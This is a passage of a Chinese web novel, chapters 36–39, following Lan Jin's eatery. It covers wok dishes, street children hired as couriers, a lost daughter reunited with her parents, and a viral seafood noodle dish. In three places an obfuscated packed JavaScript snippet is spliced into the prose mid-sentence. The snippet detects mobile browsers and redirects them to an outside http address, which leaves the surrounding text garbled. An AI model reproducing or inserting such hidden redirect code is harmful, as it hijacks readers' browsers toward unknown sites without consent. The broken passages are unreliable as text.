“如今熟客多了，都是光顾了几十年的街坊。我知道小娘子家的前些日子也卖了羊肉锅子，还颇为新鲜。像那什么画儿，也是新奇好看的。但是，自家客人自家知，他们早晚还是要回到我这里，喝上一碗羊汤，吃上几个芝麻酥饼。习惯了，不好改了！” 李闻雁笑眯眯的，蓝锦瞧着，倒有一种笃定的自信——客人在外面有几个去处她不管，这里才是他们永远的家。 蓝锦叫人认出来了，手脚有些局促，却又不禁心生佩服：“掌柜的就没想过，若是保留招牌菜，又时常翻新；便能聚拢更多人气，多开几家分店，坐着拿钱吗？” 李闻雁正色道：“我不比蓝小娘子，想不出这样好的花头。能把手里头的食方做到极致，就是我的造化了。我上了年纪，脑筋转得也慢，瞧着小娘子家的菜色，没有不佩服的。” “可我心里却知道，我家有我家的样子。守着传统的几样菜，未必就赚不着钱。好比那芝麻酥饼，面和水各放多少，油酥的盐味透出几分最香，炉里的火候如何，让旁人来揣摩，未必能成，非得有经年的体会和手感。” 蓝锦点头称是：“桥头石阿婆炸的油条，炸了几十年了，远近四邻都认可。酥脆蓬松的，吃起来一点都不腻口。我偷看了好几次，各样时长都记下了。回家去做，怎么也做不成。” 李闻雁也点头：“就是这个道理，这便是我家生意的积累，小娘子想学也学不来的。若让我学小娘子花样翻新，我也不行，也不愿的。” 蓝锦回家之后，还在托腮沉思。翻新，新颖，这就是蓝记在一众老店里杀出重围的立足之本了。 接下来怎么做？ 总之，不要在万年县做羊肉生意了。不能以己之短，攻人之长呀！ 36. 第36章 “蓝老板，您瞧，是这样不是？” 铁匠李把一个圆底小锅放到蓝锦面前，熟铁的，蓝锦订了几个，花了大价钱。 冰块带来的奢侈品收益坚持不了多久，她在思考新的突围方式。 在蓝锦的时代，预制菜和调料包风靡全国，那种坚持自家热炒现制的小馆，已经成了宝贵的金疙瘩。 所需不过是几个大厨，一口铁锅。锅气、热气、香气翻涌间，一道道小炒新鲜出锅，安抚饥肠辘辘的过路客。 蓝记饮食店正式关张装修，在赚钱的风口上整修，倒是引起一番议论。 对街呷酒的老客往嘴里抛个蚕豆米，念叨着：“蓝记的生意跟别家真不一样，正走俏的时候，她还关了门，嗨。” “再开门，肯定就有新花头了，你等着看吧！” 蓝锦正在家中姐姐妹妹热炕头。系了围裙，去给快下学的小秋做晚间加餐。 读书可是很累的活计，很费脑子，很容易饿。 所以，但凡小秋一着家，不管是什么时辰，蓝锦势必给她先填填肚子。 有许多人帮忙，蓝锦做饭早已比先前支小摊时轻松百倍。 按现在的人手，她也不必再亲自动手下厨。但是为自己爱的家人洗手做羹汤，蓝锦甘之如饴。 她把切碎成泥的蒜头、葱头和胡萝卜，连同切碎的榨菜，搅拌在一起。 起了一口热锅，“滋滋啦啦”地把三肥七瘦的猪肉末煸炒至干香。 蓝锦做饭一向很强调酱料。甭管用得多还是少，酱料只选风味最足的。 不够格的常常撤换，保证随时都能用上最美味的。 她这会儿把豆瓣酱、黄豆酱和番茄酱拌匀了，又稍微洒了点辣椒面。 然后就开始加调料：仍是蓝记特酿的味极鲜，老抽酱油，盐，糖，和代替味精的干贝蘑菇粉，还有鸡汁。 蓝锦还时常自己做鸡汁。是拿肥肥的鲜鸡边角料，金黄的鸡肥油、鸡爪、鸡骨等等，熬煮得软烂成渣。 过滤之后，煮上一些淀粉和盐，拿小罐子蜡封上，就是纯天然鸡汁调味料。 现下她把刚调好的酱汁倒进煸炒着的肉末里，酱香已经非常浓郁，霸道地往人鼻子里钻。 面饼是提前就发上了的。蓝锦一早就用热油泼了面粉，搅了一碗油酥。然后就使热水，拿筷子和一个半烫面。 醒发小半时辰，把它擀开成一大张，八爪鱼一样裹住油酥，包裹成团。 再醒发差不多的时间，擀成一张大饼，就能上油锅小火去煎。刻意不叫它展平，就是皱皱巴巴的，才最能挂料。 直到两面金黄，间有橙褐，就把蓝锦刚熬煮的复合香酱厚厚地双面刷上。 才出锅的酱实在勾人，下学到家的小秋忍不住，已经偷尝过一小口。 再往饼上撒上一层炒熟了的白芝麻，一大把青绿的小香葱花，切成菱形小块，就是专门馋哭小孩大人的酱香饼。 蓝锦笑盈盈地看着小秋抱着一大盘子，不住地往嘴里塞。 香香脆脆，外脆里软。 饼皮的含水量适宜，暄软得也刚好。皮上的褶皱非常吸味，多种多样的酱料，每一种都算数，调动着每一处味蕾。 “好吃，香极了！姐姐，你也吃。” 蓝锦满意地笑了，凭着记忆复刻的街边小食，倒没有翻车，幸亏她的天然调料自制得好。 萧仁禹却像鬼魅一样翻墙进了蓝记的小院，险些把姐妹几个吓了一跳。 “为何要翻墙？正经的门户你不走！” “大门是关的。” 今天蓝记饮食店不开张，没有客人传探花郎吃仙师传道之菜的流言。 萧仁禹一下值就往这里跑，饶是他轻功再好，也跑得腹中空空。 他和像小秋一样拿了个竹签子，风卷残云，三两口就吃了半盘子酱香饼。 “嗯，新奇，滋味不错。” 萧仁禹拍掉手上的白芝麻，掏出袖子里的白帕子。姿态优雅地擦擦嘴和手，难得地赞道。 “隔得老远就闻到味道了，吃起来也这么香。怪不得小秋爱吃，有眼光。” 小秋也很高兴的样子，她一鼓作气又吃了好多块。 认可这个先前不告而别、但上回帮了自己家抓坏人的奇怪哥哥，看上自己的眼光。 也力证自己是个很有饭量的大人。 安琴不像小秋一样天真，也不像蓝锦一样没心没肺。 她看着不自觉靠近蓝锦身边的萧仁禹，“啪”地一下拍掉他向蓝锦伸出的手。 “萧大商人，男女授受不亲，你知不知道？” 萧仁禹和蓝锦同时定住了，场面一时有些沉默。蓝锦偷看了一眼萧仁禹，发现他面上有些薄红。 又看了一下端起了大姐姐架子的安琴，想到琴姐姐一向不太待见这个人，刚要小声说：“他就是馋......” 安琴模样很严肃地对着蓝锦讲话，眼神却瞟着别人： “跟主动往自己身边凑的男人，要保持一点距离。特别是莫名其妙就雪中送炭的。一码归一码，我们也不是没答谢过。要当心，有些人想拐了你去！” 蓝锦很乖巧地点头：“噢，噢，我知道了。” 安琴问道：“知道什么了？” 蓝锦说：“我让他先付钱再吃。” ** 小秋守着一锅干炒鸡杂，凳子站在她旁边拿个大厨勺，面前是往常替她家送过冰淇淋外送的小乞儿们。 她像模像样地指挥道：“都排成一队，我这领碗，到大锅那领一勺菜，再去旁边自己拿馒头。” 领头的小乞儿叫顺子。他长到这么大，怎么也称不上顺当。 但他人狠，挨打不吭声，下死手，又仗义。带着一帮年岁不大的小流浪，在成年的乞丐中挣出一片自己的地盘。 蓝锦撞上他们，是拉着小秋逛庙会。小秋拿着一根自家刚出炉的烤肠，嚼得津津有味。 顺子手底下的六指儿一下子从墙根冒出来，夺了烤肠就跑。为防叫人捉住了挨打吃不上，立刻就塞进嘴里。 蓝锦看他边跑边大嚼，差点呛得背过气去。恐怕闹出什么人命，扯着小秋撒腿就追。 还好小秋上了好久的体术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541979|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课，腿脚只怕比蓝锦还利索。蓝锦成日在灶上，两胳膊颠一满锅沙袋都不在话下。 姐妹俩追上面黄肌瘦的六指儿，蓝锦的臂膀好似大钳，一下就拽住呛成弹弹球的六指儿。 蓝锦箍住翻白眼的小孩，当即给他来了个海姆利克急救法。 墙根旁蹲着等同伴的小瘸子急了，生怕她要杀人，一瘸一拐地回去找顺子哥报信。 “咳，咳！”顺过气来的六指儿心疼不已，这可是肉啊，噎死不能吐出去。 蓝锦拦着六指儿，小秋从斜挎包里往外拿水壶，姐妹俩正忙着，只听后边传来一声稚嫩的怒吼： “谁敢动我兄弟！” 顺子叉着腰，举着一根木棍，身后跟着两个矮萝卜头。满是补丁的衣裳，像小旗子一样在风中飘。 蓝锦抬头一瞧，“噗嗤”一笑：“你兄弟抢了我妹妹手里的烤肠，险些噎出个好歹。若你们这么有精神头，不如一块来搭把手，把他扶起来。” 顺子没想到是这个发展，脸上讪讪的，半天憋出来一句：“对不住。” 六指儿其实没什么大事，就是饿的。蓝锦送佛送到西，使些银子，借了安济坊的浴桶和热水。 凳子腿脚快，跑去拿来了他们小了的旧衣服，给这群小萝卜头逐一换上。 围坐满桌的小乞儿们看着满桌温馨的家常菜，个个都有些拘谨，不敢下筷。 还是小秋脆生生地说：“吃啊，我阿姐做的菜，是万年县最好吃的！” 蓝锦也目含鼓励：“就是做给你们吃的，不吃也浪费了。” 小秋私下偷偷和蓝锦说：“阿姐，要不是有你，我就跟他们一样了。” 把蓝锦说得心头酸酸，直抱着小秋道：“不会的。小秋命好，会一直享福，一直过上好日子。” 两拨人就这么认识了。此后，顺子他们常给蓝锦送东西来。 有时是河里摸的螺蛳和小虾米，有时是拾的柴火。或者干脆偷偷把蓝记饮食店门口扫得一尘不染。 蓝锦瞧他们脑瓜活络，人也上进。 干脆雇佣了这群小兵，让安琴领着他们给各家送冰淇淋，也接落霞村的蓝记糕饼送货生意。 饭就是蓝记照管，夜里去桌子家打地铺。桌子现下去了乡郊，蓝记叫他奔走打探养牛是否可行。 顺子满心感激，人却有志气。 自己拍着胸脯说了：“待挣够了工钱，我们便给桌子哥补租子。我再领着大伙，正经出去赁个屋子。” 蓝锦高兴他有长远规划，心中有谋算。这样的人才能把活计干好。 如今蓝记整修好了，把灶头多架了几个。几口小铁锅一摆，大锅饭之外，便有一锅一出的高端菜。 热炒螺蛳、腊肉炒香干、干锅鸡翅......试菜的时候无人不叫好。 往小食篮里一放，盖上盖子，稳稳提上。由顺子打头的外送小分队便派上大用了。 除却堂食以外，小锅炒菜主打高端菜外送。 现在已是秋天了，便用双层食篮。外层搁了一个加热包，里头是生石灰之类的粉末，就像是自热锅一般。 37. 第37章 “嚯！” 一群嘴巴圆张的食客盯着蓝锦手头的动作。 随着她的手腕翻转，铁锅“咻”地一下冒出一团火，高度几乎能燎到人的眉毛。 看客们后退一步：“呀，这是什么东西。原来做菜还能这样！” “这个味道，闻着好香。”一个扎着两个圆髻的女娃仰着脸对身后的娘亲说道。 “嗳，不等把眉毛鲜掉，就快烧掉了！” 蓝锦在做的是小炒孜然羊肉。这味香料卖得贵，异域感十足，也霸道。 一般的厨子不敢花成本侍弄，但蓝锦早已用得熟悉了。 她原想着避开羊肉菜，可无端少了一样食材，实在是自断双腿。 于是一不做二不休，直接找上李记羊肉馆的李闻雁掌柜，好说歹说定了一些羊肉。 虽然价格不便宜，可品质好啊！ 即便是蓝锦从前做过许多菜，也能一眼看出李家的羊肉质量上佳。 而且这是源头直采。晨间杀的，搁到案上，好像肌肉还在弹跳。是前世那种冰鲜进口的羊肉没得比的。 蓝锦把孜然羊肉盛在碟中，点了这菜的客人一早跑到锅边守着，见状便主动伸出手来： “我的我的，是我的！” 一边说，一边把其他手都推走，忙不迭地走回自己位子。 这味第一位吃螃蟹的幸运儿夹了一筷子，眉毛便竖起来了：“嗳，这个味！这个味！” 旁边的人看着干着急：“你说呀，你倒是说话呀！” 幸运儿赶着扒了一大口白米饭，又赶着吃了几口肉，才把气喘匀：“香！嘿，真香！” 不一会功夫，下一盘便炒好了。尝过的人，也是一脸陶醉相：“唉，肉片弹嫩啊，越嚼越香，那肉隙里头一直往外冒汁子。油香油香，还有一股从未吃过的香味！” “哎，我说不出来，太香了，就是好吃！” “外头焦，里头嫩！好像你就趴在锅里吃得一样，跟直接把炭火吃进去了似的。” “你那说的什么啊！你还不如说，就跟追着羊啃一样。” “哎，哎，你说对了，口感就跟追着羊屁股啃的似的！” “老板，快给我这儿也加一份啊！” 没凑这个热闹的人，也看得心痒痒，只想快点加入。 蓝锦和李厨子、江汝月一道，热炒直出，不时还要照管外送小分队的单子，忙得热火朝天。 “掌......掌柜的，这，这是你家的画吗？”一对老夫妇相互搀扶着，拿着一张宣传画，走进蓝记饮食店。 蓝锦只当是来加单的食客，头也不抬：“是，您这边请，我这还有三份哈！” 祝悟民紧赶着上前两步，张了张嘴，竟没说出话来。方懿开口道：“这个黄衫子的女娘，她，她也在你家么？” 蓝锦听着来人话音都带了哭腔，察觉不对。她直接把热锅托给汝月看顾，解下围裙，走到两夫妇面前。 “老人家，您是找人？”蓝锦把夫妻二人往后院引，疑惑地问道。 方懿只管嘿嘿陪笑：“是，是找我家女儿。她五岁上便......便走丢了，上元夜看灯的时候。那年，灯王是只老虎，我家囡囡便是属虎的......” 祝悟民也是满脸讨好：“如今，总也该十九岁了。我们是昭应县的人。就这一个女儿，这么些年，也没敢搬走......” 蓝锦听着，心跳如擂鼓。琴姐姐就是在看灯时走丢的！ 作为一个孤女，前世，她不止一次做过梦—— 有一天，突然有一个和美的家庭，有爸爸，有妈妈，两人笑得温柔，天神一般降临，对小小的蓝锦说： “锦儿，你是我们的女儿，爸妈终于找到你了，跟我们回家吧。” 蓝锦太知道这种感觉了。越希望得到，便越怕失去。她攥着蓝记的宣传画，再三对着夫妇二人确认： “是黄衫子的这个，对不对？可有什么特征？比如头上有几个旋儿？丢的时候穿的什么衣衫？你们家有什么特别的、和旁人家不同的地方？她有没有小名？” 一连串问题抛出来，两位老人家却一点也不觉厌烦。只像是抓住了救命稻草，在黑夜里跌撞了许久，骤然见着一丝天光似的。 方懿努力控制着颤抖的声音，指着画儿的手指一直抖个不住，认真地一一回答蓝锦。 “是，就是这个姐儿。她，她头上有两个旋儿，都说两个旋，犟得很。这样好，命硬，我家姐儿肯定还好好的。他们都说......我不信......” 眼见方懿说不下去了，祝悟民接口道：“看灯时，看灯时穿了一件红色小袄，蓝裤子，虎头鞋上缀了两颗小珠子。若是不缀那珠子就好了！” 蓝锦就这样站着，听着两个彷佛叫生活耗干了血肉的老人家絮絮。 她知道了，他们的女儿小名叫宝姐儿。他家院里有一棵柿子树，有砖砌的树围子。 他们的宝姐儿，不爱坐凳子，就爱在树底下坐着。 夫妻俩是开药铺子的，原先还坐堂问诊，如今一心扑在四处找孩子上。 蓝锦觉得已经八九不离十，直喊凳子去书院。快套了家里的车，去迎安琴和小秋。 安琴还奇怪。人还未进来，笑音就踏进了门槛：“今儿怎么这般想我，不过是出去一趟接孩子，怎么还巴巴地套车去迎......” 话音还未落，她就瞧出蓝锦的神色不一般。再一瞧，院里站着一男一女两个老人家。 小秋走上前去：“你们也是来吃铁锅炒菜的吗？” 她见人就说这个。经她的宣传，今儿满学堂都知道了：蓝记经过整修，隆重推出小锅炒菜，还能叫外送！ 安琴站着没动。这种氛围之下，鬼使神差地，一向伶俐有主意的她有些蒙。 “琴姐姐，你来，你看他们，可还有点印象？”蓝锦笑着把安琴拉过来。 是她，是宝姐儿！方懿几乎一瞬间就要确认，她的宝姐儿，长大了应该就是这个样子！ 双方相对着，嘴唇动了几下，都没说出声来。 还是蓝锦笑着引导：“琴姐姐，你可记得小时候的事，人都怎么叫你？” “我，我没什么印象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541980|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......”安琴脑瓜子嗡嗡的。 蓝锦语气轻柔：“可有人叫过你宝姐儿？你小时候，可曾看过虎头灯？” 安琴陷入了回忆。热闹的锣鼓声里，四处都是挪动的腿，像密密的森林。 不知怎地又腾空而起，眼前是一大团橙黄色的光，几乎贴到了她的面上，像火一样快烤到了她的脸似的。 “是，是有一个虎头灯，老虎的耳朵会喷火......” 方懿忍不住了，伸手拉住安琴的腕子：“是，是了！那是我们昭应县出了名的手艺，虎头灯上安着烟花，长久不熄的。” 安琴罕见地有些迟钝，蓝锦来解了围：“琴姐姐，你可还记得住过什么地方？” 安琴陷入了回忆，整个人像泡在一团迷雾里。是了......她喃喃道：“我记得有个软乎乎的小坡，顶上是很高很高的红木门。我一出来就看见有只狸花猫，我就追着它滚下去，叫它‘宝儿，宝儿’......” 方懿泪如雨下：“家里大门就是朱红的，现在也没换了去。门口有一条小道，越过菜园子，就是一个长满了草的斜坡。那是你的狸花猫，不是它叫‘宝儿’，是你叫宝儿啊！” “你小时总爱追着猫儿四处跑，饭做好了，我便常常去坡上喊你回家。你是宝姐儿，是我的宝姐儿啊！” 祝悟民也是双手掩面，痛哭不止。 安琴愣了半晌，才找回自己的声音：“是......我是宝姐儿？母亲......” 蓝锦坐在一桌干锅荟萃的热菜面前，含笑瞧着安琴和她新得来的家人。 几人俱是哭过了一场，现下眼皮子还有些红肿。相互拉着手，说了好些话。 双方的记忆一一核对上，那个吃柿饼、纳虎头鞋的小院。 蓝锦把筷子递给大家，笑道：“这是喜事，该多吃两大碗饭的！” 安琴破涕为笑：“是。母亲，父亲，锦娘的手艺，万年县少有人可比的。当初若不是她给的一口饭食，我可能就昏在山里了！” 方懿听了此话，不消多问，马上从自己的情绪里走出来，抬手给安琴把脉。 “宝姐儿，你......” “我没事，不过是从前操劳了些，身子受过寒。来了锦娘这儿，好吃好喝地供着我。后院河边的垂杨柳，说不得我都能连根拔起来！” 祝悟民扯扯方懿的衣衫，示意她稍后再说，冲蓝锦一笑：“蓝掌柜的手艺确实没得说，辛苦你为我们整治这一桌。” 方懿也道：“是啊，你是我们家的大恩人啊。” 双方你来我往，终于下了筷子。 饶是不在状态的夫妇二人，夹起一尝，也是心头一惊。 好特别的味道！ 酸辣爽口，那肉块滑嫩紧致，还有一丝若有若无的烟熏味。 咸味调得一丝不错，微量的糖尝不出甜味，只能尝到恰到好处的鲜味。 要不是提前告诉他们这是鸡杂，根本吃不出来。 “竟然有草果的香味。草果行气消食，掌柜的莫非也通医理？”方懿停了筷子，诧异道。 38. 第38章 “医理谈不上。只是草果辛烈，我用它压鸡杂的腥气罢了。”蓝锦笑着回答。 “时下少有人用这些入菜，蓝掌柜的见识不凡。”方懿和祝悟民对视一眼，彷佛想到了什么。 一餐罢了，方懿拉着祝悟民去了一边。二人商议片刻，方懿便笑眯眯地回来找蓝锦。 “蓝小娘子，你对我们家的大恩，结草衔环都报不尽的。我们没有什么相送，家中铺子最不缺香料，供蓝小娘子用上一辈子都使得。你看，这些你可能看得上眼？” 蓝锦接过单子一看：肉桂、丁香、草果、陈皮、肉豆蔻、草豆蔻、山奈、冰片、檀香...... 甚至还有广藿香、番红花和玫瑰！ 这都是极其贵重的香料。 想当初，她为了开卤肉摊子，手里头攥了陆青枫给的三十两银子，才有勇气往药铺子里走一走。 蓝锦下意识推拒：“这可使不得，我又没做什么。往后，你们跟琴姐姐还要生活......” 方懿把脸一板，一副不高兴的样子：“这算什么？我手头还有几支商队的干股，也都给你。” “往日为着寻女，便往里投了钱。商队走南闯北的，想着消息灵通些，现下可再用不到了。不说你对宝姐儿的照顾，就说若是没有你家的蓝记招贴画儿，我们也寻不到宝姐儿。” “拿着，听话！” 蓝锦推辞不过，琴姐姐也在一旁帮腔，最后她哭笑不得地拿了。 她可算知道，琴姐姐身上那股子霸道劲，是打哪儿继承来的了！ ** “嗳，是，就这些，鱿鱼干，干贝，螺肉干，鱼饼。您算算价。” “好嘞，您是方娘子引荐的！往日我们起家，多亏她家照顾。我们不能收您中人费，能有多低价便按多低价！”福贵常年跑单帮，皮肤黝黑，一笑就露出两排齐整的大白牙。 蓝锦嘴上说着不要，身体却很诚实。方懿跟她一交接完，她立时就联系了商队的人，张罗买货。 琴姐姐去跟家人团聚了，她也要趁着东风，好好发展生意！ 就是苦了小秋。前一日，琴姐姐还在接她下学。翻过头来，琴姐姐便成了别人家的女儿，要回自己家了。 送别宴上，小秋哭得满头大汗。安琴把她抱进怀里哄了又哄。蓝锦倒是在场最镇定的一个。 天下无不散的宴席嘛。何况，琴姐姐这是奔向好日子了。 离别这一课，也只能是上天放在小秋自己面前的功课了。蓝锦帮不了多少，只能给她做点吃的。 这些干货，大大有助于蓝锦往海鲜领域发展。 她打算拿来做陵水酸粉。那可是鲜美浓香，酸酸辣辣的，那滋味，吃过一次就忘不了！ 没吃过的有难了！ 这是海南一带的特色食物，故而带着鲜明的海味。 蓝锦私心觉着，这种食物比海南鸡饭还好吃，哪怕在海南粉的自家阵营里，也要排到顶顶前面的。 再配上一碗椰香清补凉，罢了吃一口弹嫩糯滑的红糖千层糕，快活似神仙！ 今日的蓝记饮食店主打酸辣海鲜粉，也就是陵水酸粉。 以防吃客被名字劝退，换了个再直白不过的名称。 粉是提前做好了的，只消把大米泡软，磨浆过筛，漏成细细的粉条。 蓝锦早早就腌制好了牛肉干，俱是切了薄片、开水里滚过，又用热油炸了的。 拌上咸鲜带有一丝微甜的特制腌料，嗯，美味，享受！ 若她是小秋，刚做好就全吃了。 商队带回来的鱼饼、鱿鱼干和沙虫干俱都下油锅炸得脆香，切成细条，一阵更比一阵香。 这便来调汤底，爆香蒜蓉、姜汁子，撒上酱油糖盐、香醋麻油等种种调料，这是蓝锦琢磨出来的秘方。 另起一锅，倒自己腌好的腐乳酱，山菇粉，再用初榨留下的、主要是糖色的老抽酱油上色。 打一小碗水淀粉，边搅边加进去，直到成了一锅粉糊糊，这浓稠度，是酸粉挂汁的关键。 取个卖相上佳的碗来，先把煮熟的细粉放进去。 撒上香酥诱人的牛肉干、鱼饼丝、炸花生和只滚了一小滚的鲜嫩韭菜。 这样已是很好看了，还要再浇上酸辣汤底，拌上粉糊糊。 点些香油、香菜和自己特制的黄灯笼辣椒酱，留待客人去搅它。 也不知是不是因为安琴走了，今天的第一位客人是萧仁禹。 因着方娘子的慷慨，蓝锦有了新思路。见了萧仁禹还打趣道： “萧大海商怎么不给我牵个线搭个桥，也卖我点海上的食材？只见钱出去，不见钱进来，你可不是大商人的做派！” 也不知是不是小料撒得太多的，萧仁禹当下就呛得红了面皮。 “唔，我的生意，近来不太景气......” “怪道说，你都不太来了。不过也正常，你们跑商的嘛，总不能日日待在一个地方。除非舍了本，没底气去折腾了，就像我刚认识你的那会儿，是吧？” 萧仁禹顺杆子爬：“啊，对，对的。”半点不提自己是怕安琴看出点什么。 “加油，我看好你哦！等你再赚了钱，记得给蓝记带点好货。” 蓝锦撇下他，又去招呼其他新来的客人。 萧仁禹跟在场的客人一样，马上就投入到了陵水酸粉的怀抱。 这细粉本身就软弹吸汁，更别提还有各种口味的海鲜丝与牛肉片。 油炸过的脆感香味，辅以咸甜交织、酸辣勾人的味道。 因这糊糊做得好，每一筷子粉上都牢牢地嵌上许多山珍海味。 吃上一口，好像全世界的海与山都吃进肚子里了！ 哎，天上人间啊！ 这不是蓝锦自鸣得意，实是这进店的客人们，没一个不是扶墙出去的。 还要多嘱咐一句：“蓝小娘子，这道珍馐可万万要再多做几回啊！” 再去看那原是第一个来的破落海商食客，还在端雅风流地徐徐吃着最后一点细粉。 红润的嘴唇咬一口青白相间的千层糕，又执靛蓝勺浅酌一口椰汁清补凉。 别人吃饭就像是在日常吃饭，他倒像一颗竹子成了精。 还像一只优雅餍足的大猫咪——但绝对不是橘色的。 也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541981|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是狸花色的——那种无论如何都外露一股野性。 蓝锦想，得是那种打着黑领结的奶牛猫。 喝完牛奶要骄矜着脖子，站在那里舔手手的，这还差不多。 此时蓝锦没有想到，就是这碗陵水酸粉，给她拽进了一场腥风血雨的风波。 “你可看清了，真是萧家二郎吃的？” “真的，他吃得一干二净，连一口汤都不剩。” 吴大娘子把一柄宫扇摇得虎虎生风。秋日里了，她还是薄衫，怕热得紧。 她可清楚了，这萧二郎君在天都女娘们心中的含金量。 他看的书、爱用的物件、爱穿的衣衫......都有人追随着去买。 只怕萧仁禹这厢在城西大街上刚掉了一根头发丝，一盏茶后，追着来捡走收藏的人，都要从城西排到城东，再绕个圈回来！ “你这样......”吴大掌柜唤来自家管事，低声吩咐了几句。 “好嘞，掌柜的，您就请好吧。”吴管事对于大娘子吴仲芳的要求早就见怪不怪了。 什么接萧家二郎打猎时浣过手的溪水，叫女娘们挨个排着队来沾手。 挖萧家二郎画过的牡丹花，摆在大堂正中央。自有前赴后继的女娘来这喝茶吃点心，叫画师给自己画像。 毫不夸张地说，他们听雪轩的好生意，不在酒水不在菜，一大半都来自他们吴大娘子和天都女娘们的心心相映。 听雪轩里充满了萧二郎君听过的曲子、萧二郎君写过的策论、萧二郎君......吃过的东西倒不怎么有。 众所周知，萧二郎君不爱吃东西。 也影影绰绰地听说过，萧二郎君曾在值房吃过一种很香的不知名肉类，竹筒子装着的。 但，那是他老师给他的。长者赐，莫敢辞。没看他赶着上值都要吃完，以示尊敬吗？ 据不愿透露姓名的知情人士透露，吃得特别快，特别干净，一丝渣子都不剩！ 吴大娘子还真去寻摸过，只是翻遍天都，也没见过这样的食物。她便作罢了。 天都以外的东西，吴仲芳也不太关心。就像那些女娘们，其实也不怎么在乎萧家二郎的老师究竟如何一般。 可这回，传得有鼻子有眼，是一个天都女娘的远方姐妹辗转透过来的消息。 那位女娘立时跑来同好遍地的听雪轩，隐秘地打探了吴仲芳这里的情报。这是她们共同的秘密，不足为外人道也。 有这种粉没有？ 这回，吴大娘子决定上一上心，天都一边靠近昭应县，一边靠近万年县。左右不远，派人跑一趟也没什么。 待到一切打点好，听雪轩破天荒地上了萧家二郎同款美食：海鲜酸辣粉！ 牛肉干、沙虫干......一样不少！ 与这个消息一同出现的，还有一个身影——阔别文坛已久，笔墨再度现身的邈晴庵主人。 明夫子激动地拿给蓝锦一份新出的小报，指给她一篇新的文章： 《盘古开天以来最棒汤饼——万年县蓝记酸辣海鲜粉，不服给我尝你家的》 邈晴庵主人。 ？？！ 39. 第39章 蓝锦定住了。盘古开天以来最棒？！这标题，她也没花钱啊？总不能是她家黑粉吧！ 怪道说，这几天人流陡增，来人还总爱口中念念有词，伸出个大拇哥，相互对眼神：“盘古以来，是这个！” 这个邈晴庵主人，不能是来给她引战的吧？ 她这小小的蓝记饮食店，可当不起这种殊名啊。 吴仲芳非常镇定，风靡天都和周边各处的雅舍小报，她之前也略有耳闻。 无外乎是哪家贵夫人牵头，闲来无事，聊以寄情。写写养花之道、茶酒之品、调香之韵、珍馐之精...... 某种程度上，她和办报人是一个行当的。都是给女娘们的生活找些趣味嘛。 邈晴庵主人在美食届还是很有地位的。如今撞名字了，或许引人不快。 吴仲芳不愿与人龃龉，贴心地给自家汤饼改了名字：浮生一梦汤饼。 还致信给雅舍小报，愿出资刊登致歉声明。 她赚了这么多，不在乎这一点。 可没想到，人家拒收此稿。吴仲芳想得也很开，这么一个干巴巴的致歉登上去，有损雅舍小报的格调嘛！ 可没想到，雅舍小报飞速地登了一篇邈晴庵主人的新文，依旧是短小精悍： 《新出的换名汤饼是假货，不要吃。盘古以来最棒汤饼——认准万年县蓝记酸辣海鲜粉，不服给我尝你家的》 嘿！ 萧仁禹最近觉得有些怪怪的。 不知为什么，总有熟人跑到他面前，压低了声音，彷佛在说什么见不得人的事—— “听说你喜欢浮生一梦，嘿，是真的吗......” 一个人这样也便罢了，好几个都是这般。 萧仁禹蹙起眉头，看着挤眉弄眼的蒋新。这才打听到了，那原是份汤饼。他们都是来替自家姐姐妹妹问的。 蒋新跟别人都不同。他不想打听别的，自个就一脸馋相，口水都快流下来了，只道：“那汤饼！那得多好吃啊，连你都能爱吃！” 萧仁禹仍旧一副拽得二五八万的样子：“别来发疯。” 此间纷纷扰扰没有入蓝锦的眼，她依旧热火朝天地坐着小锅热炒生意。 外送小队成天四处奔走。如今店里剩了一大笔原料费，多雇了几辆车。 蓝锦观察过客流情况，在城中划了几个区域的交汇点。 由凳子他们驾车，载着送外卖的小分队们。 好几个人一起疾行到某个集散处，才下车各自奔向需要送餐的人家。 好在现在没有24小时电话call，餐食都是提前订好的，给她留了余裕。 顺子拎着一篮陵水酸粉，往一家客栈跑去。最近很是奇怪，总有住在客栈的客人点蓝记的酸粉。 尽管蓝锦一再跟来跑腿下单子的家丁强调，粉类还是现场吃味道更好，还是有人前赴后继地来吃。 得亏云来客栈离蓝记饮食店很近。 诶，这些天叫海鲜酸辣粉外送的，都是住在这家客栈的女娘。彷佛有个神秘的仪式似的。 顺子跑得飞快，一溜烟上了楼。楼上有个女娘心思不在脚下，急慌慌的，两人一下就撞上了。 酸粉打翻在地，翁朗溪看着食篮上“蓝记”的签子，不管自己打湿的裙摆，先惊喜地问道： “这就是蓝记的酸辣粉。” 她不待顺子出声，先一步道：“这是送给我的。我等了半天，实在等不及了。” 